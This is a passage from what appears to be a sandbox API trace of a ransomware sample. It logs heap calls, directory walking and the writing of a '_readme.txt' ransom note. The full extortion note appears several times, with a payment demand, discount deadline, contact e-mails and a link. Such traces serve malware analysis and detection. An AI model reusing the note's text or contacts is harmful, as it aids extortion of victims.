hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.635] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0111.635] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.635] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.635] PathFindFileNameW (pszPath="") returned="" [0111.635] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.636] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.636] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.636] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.636] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.636] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.636] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.636] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0111.636] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.636] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.636] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0111.636] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.636] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.636] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.636] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.636] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.637] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.637] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.637] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.637] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.637] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.637] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.637] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0111.637] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.637] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.637] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.637] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.638] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.638] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap 